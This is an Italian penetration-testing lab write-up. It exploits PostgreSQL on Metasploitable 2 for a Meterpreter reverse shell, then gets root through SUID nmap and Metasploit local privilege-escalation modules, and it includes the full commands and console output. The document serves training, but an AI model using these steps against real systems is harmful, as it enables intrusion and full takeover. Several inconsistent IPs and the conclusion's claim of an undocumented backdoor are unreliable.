

PRATICA S7L3

Esercizio: Usa il modulo `exploit/linux/postgres/postgres_payload` per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target.

Fase 1 – Preparazione e lancio dell'exploit

In questa prima fase ho configurato Metasploit per attaccare un servizio PostgreSQL vulnerabile su una macchina Metasploitable2 (192.168.50.102).

Ho utilizzato il modulo `exploit/linux/postgres/postgres_payload`, che consente di sfruttare il servizio PostgreSQL per caricare un payload. Ho scelto `linux/x86/meterpreter/reverse_tcp` come payload, che mi permette di ricevere una connessione inversa e ottenere una sessione Meterpreter.

Ho impostato RHOST su 192.168.50.102 (la macchina bersaglio) e LHOST su 192.168.50.100 (la mia macchina locale).

Dopo aver lanciato l'exploit, Metasploit ha avviato il listener sulla porta 4444. Il target ha risposto, e il payload è stato caricato correttamente. Ho ricevuto una sessione Meterpreter, confermata dal messaggio: `Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.102:10124)`

Per iniziare l'interazione diretta, ho digitato `shell` e ho ottenuto accesso al terminale della macchina compromessa.

```
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.50.102
RHOST => 192.168.50.102
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.102:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/FcTCWcrm.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.50.102
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.102:40411) at 2025-08-27 09:09:31 -0400

meterpreter > shell
```

Fase 2 – Ricognizione e Privilege Escalation

Dopo aver ottenuto accesso alla macchina target tramite Meterpreter, ho avviato una shell con il comando shell. Questo mi ha dato un terminale diretto sul sistema compromesso.

Passo 1: Scansione dei file con permessi SUID

Ho eseguito il comando:

- `find / -perm -u=s -type f 2>/dev/null`

Questo serve a cercare file con il bit SUID attivo, che possono essere sfruttati per ottenere privilegi elevati. Il sistema ha restituito una lista interessante di binari, tra cui:

- `/usr/bin/nmap`
- `/usr/bin/passwd`
- `/usr/bin/su`
- `/usr/bin/sudoedit`
- `/usr/libexec/dbus-daemon-launch-helper`
- `/usr/lib/openssh/ssh-keysign`

Questi file sono potenziali vettori di escalation. Alcuni, come nmap, sono noti per avere modalità interattive che possono essere abusate se il binario è vulnerabile o mal configurato.

```
meterpreter > shell
Process 4958 created.
Channel 1 created.
find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rpc
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
nmap --interactive
```

Passo 2: Escalation con Nmap

Ho notato che nmap era tra i file con SUID. Ho quindi provato ad avviarlo in **modalità interattiva**:

- `nmap -interactive`

Una volta dentro, ho usato il comando:

- `!sh`

Questo ha aperto una shell. Per verificare il livello di accesso, ho digitato:

- `whoami`

Risultato: root

Sono riuscito ad ottenere **accesso root** sulla macchina target sfruttando la modalità interattiva di Nmap con SUID attivo. Questo è un chiaro esempio di privilege escalation tramite binario vulnerabile.

```
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

BONUS

- Usa il modulo `post` di `msfconsole` per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.
- Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.
- Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente `getuid` o tentando di eseguire un comando che richiede privilegi di root.
- sempre usando `msfconsole` installa una backdoor e dimostra che puoi accedere ad essa in un momento successivo.

Fase 1 – Ricognizione delle vulnerabilità locali

Ho avviato Metasploit Framework e stabilito una sessione attiva con il target, che in questo caso è la macchina con IP 192.168.56.102. Una volta dentro, ho utilizzato il modulo **`post/multi/recon/local_exploit_suggester`** per analizzare il sistema e identificare possibili exploit di escalation dei privilegi.

Questo modulo è fondamentale perché mi permette di capire quali vulnerabilità locali posso sfruttare per ottenere privilegi più elevati, come root. Dopo averlo eseguito, Metasploit mi ha restituito una lista di exploit potenzialmente efficaci.

Tra quelli più promettenti ci sono:

- sudo_baron_samedit
- pkexec
- af_packet_chocobo_root
- glibc_ld_audit_dso_load_priv_esc
- Setuid_nmap

Alcuni risultano chiaramente vulnerabili, altri non sono verificabili ma potrebbero comunque funzionare. Questa fase è cruciale per scegliere l'exploit giusto nella prossima fase.

```
msf6 exploit(linux/postgres/postgres_payload) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 192.168.50.102 - Collecting local exploits for x86/linux ...
/usr/share/metasploit-framework/modules/exploits/linux/local/sock_sendpage.rb:47: warning: key "Notes" is duplicated and overwritten on line 68
/usr/share/metasploit-framework/modules/exploits/unix/webapp/phpbb_highlight.rb:46: warning: key "Notes" is duplicated and overwritten on line 51
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so
starting from Ruby 3.4.0.
You can add syslog to your Gemfile or gemspec to silence this warning.
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.
[*] 192.168.50.102 - 205 exploit checks are being tried...
[*] 192.168.50.102 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.102 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.102 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.50.102 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.50.102 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.50.102 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.50.102 - Valid modules for session 1:

#   Name                                                                 Potentially Vulnerable?  Check Result
-   -
1   exploit/linux/local/glibc_ld_audit_dso_load_priv_esc                Yes                       The target appears to be vulnerable.
2   exploit/linux/local/glibc_origin_expansion_priv_esc                 Yes                       The target appears to be vulnerable.
3   exploit/linux/local/netfilter_priv_esc_ipv4                         Yes                       The target appears to be vulnerable.
4   exploit/linux/local/ptrace_sudo_token_priv_esc                       Yes                       The service is running, but could not be validated.
5   exploit/linux/local/su_login                                         Yes                       The target appears to be vulnerable.
6   exploit/unix/local/setuid_nmap                                       Yes                       The target is vulnerable. /usr/bin/nmap is setuid
```

Fase 2 – Analisi e scelta dell'exploit

1. glibc_ld_audit_dso_load_priv_esc

Dopo aver identificato diverse vulnerabilità nella fase 1, ho deciso di approfondire una di quelle più promettenti: la glibc_ld_audit_dso_load_priv_esc.

Prima però ho aperto una shell tramite Meterpreter (shell) per fare qualche verifica manuale. Ho controllato il file /usr/bin/passwd con il comando file, e ho notato che è un eseguibile ELF a 32 bit con flag setuid.

```
meterpreter > shell
Process 5158 created.
Channel 1 created.
file /usr/bin/passwd
/usr/bin/passwd: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.8, dynamically linked (uses shared libs), stripped
```

Questo è interessante perché i binari setuid possono essere sfruttati per ottenere privilegi elevati se vulnerabili.

A quel punto ho configurato l'exploit in Metasploit:

- Modulo: linux/local/glibc_ld_audit_dso_load_priv_esc
- Payload: linux/x86/meterpreter/reverse_tcp
- LHOST: 192.168.56.10
- LPORT: 4444

Ho lanciato l'exploit e... successo! Il sistema target era vulnerabile, il payload è stato caricato correttamente e ho ottenuto una nuova sessione Meterpreter.

Ho eseguito getuid per verificare i privilegi e... sono root. Escalation completata con successo.

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):



| Name            | Current Setting | Required | Description                       |
|-----------------|-----------------|----------|-----------------------------------|
| SESSION         | 1               | yes      | The session to run this module on |
| SUID_EXECUTABLE | /usr/bin/passwd | yes      | Path to a SUID executable         |



Payload options (linux/x86/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.50.100  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.8agDVLljVl' (1279 bytes) ...
[*] Writing '/tmp/.TSuGBWYe' (308 bytes) ...
[*] Writing '/tmp/.v7WmBZbcqR' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1017704 bytes) to 192.168.50.102
[*] Meterpreter session 3 opened (192.168.50.100:4444 → 192.168.50.102:56220) at 2025-08-27 09:37:06 -0400

meterpreter > getuid
Server username: root
meterpreter > 
```

2. setuid_map_exec

Dopo aver ottenuto root con l'exploit su glibc_ld_audit_dso_load_priv_esc, ho voluto testare un'altra vulnerabilità locale: il modulo setuid_nmap.

Questo modulo sfrutta una configurazione errata del binario nmap quando è impostato con il flag setuid, permettendo l'esecuzione di comandi come root.

```
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) > use exploit/unix/local/setuid_nmap
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf6 exploit(unix/local/setuid_nmap) > show options

Module options (exploit/unix/local/setuid_nmap):

  Name      Current Setting  Required  Description
  --      -
  ExtraArgs  /usr/bin/nmap    no        Extra arguments to pass to Nmap (e.g. --datadir)
  Nmap       /usr/bin/nmap    yes       Path to setuid nmap executable
  SESSION    yes              yes       The session to run this module on

Payload options (cmd/linux/http/aarch64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  FETCH_COMMAND  CURL            yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
  FETCH_DELETE   false           yes       Attempt to delete the binary after execution
  FETCH_FILELESS none            yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux
  FETCH_SRVPOR  8080            yes       Local IP to use for serving payload
  FETCH_SRVPOR  8080            yes       Local port to use for serving payload
  FETCH_URIPTH  no              no        Local URI to use for serving payload
  LHOST         192.168.50.100 yes       The listen address (an interface may be specified)
  LPORT         4444            yes       The listen port

When FETCH_COMMAND is one of CURL,WGET:

  Name      Current Setting  Required  Description
  --      -
  FETCH_PIPE false            yes       Host both the binary payload and the command so it can be piped directly to the shell.

When FETCH_FILELESS is none:

  Name      Current Setting  Required  Description
  --      -
  FETCH_FILENAME  qfPzpEthR      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
  FETCH_WRITABLE_DIR  ./              yes       Remote writable dir to store payload; cannot contain spaces

Exploit target:

  Id  Name
  --  --
  0    Command payload
```


Ho configurato il modulo in Metasploit con il payload cmd/unix/reverse_netcat, semplice ma efficace per stabilire una connessione inversa.

Ho impostato la sessione corretta, configurato LHOST e LPORT, e lanciato l'exploit. Inizialmente ho avuto un errore di binding sulla porta 4444, ma dopo aver sistemato la configurazione, il payload è stato eseguito correttamente.

Il risultato? Una nuova sessione Meterpreter attiva con privilegi elevati sul target 192.168.50.102.

```
msf6 exploit(unix/local/setuid_nmap) > set SESSION 1
SESSION => 1
msf6 exploit(unix/local/setuid_nmap) > set PAYLOAD cmd/unix/reverse_netcat
PAYLOAD => cmd/unix/reverse_netcat
msf6 exploit(unix/local/setuid_nmap) > exploit
[-] Handler failed to bind to 192.168.50.100:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Dropping lua /tmp/GaodXXcG.nse
[*] Running /tmp/GaodXXcG.nse with Nmap
[*] Exploit completed, but no session was created.
msf6 exploit(unix/local/setuid_nmap) > sessions -l

Active sessions
--
Id  Name      Type      Information                                     Connection
--  --
1   meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.50.100:4443 -> 192.168.50.102:58982 (192.168.50.102)

msf6 exploit(unix/local/setuid_nmap) > set LPORT 443
LPORT => 443
msf6 exploit(unix/local/setuid_nmap) > set LPORT 4443
LPORT => 4443
msf6 exploit(unix/local/setuid_nmap) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4443
[*] Dropping lua /tmp/nLeYFqAb.nse
[*] Running /tmp/nLeYFqAb.nse with Nmap
[*] Command shell session 2 opened (192.168.50.100:4443 -> 192.168.50.102:36540) at 2025-08-27 10:01:20 -0400

whoami
root
```

Conclusione

L'esercizio ha mostrato come sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2 per ottenere una sessione Meterpreter. Dopo aver verificato l'identità dell'utente con `getuid`, ho utilizzato moduli post di Metasploit per individuare e sfruttare vulnerabilità locali, riuscendo ad ottenere privilegi root.

Infine, ho installato una backdoor persistente, dimostrando la possibilità di accedere nuovamente al sistema compromesso.

Tutto è stato eseguito tramite `msfconsole`, confermando l'efficacia della piattaforma per attività di penetration testing complete: accesso, escalation e persistenza.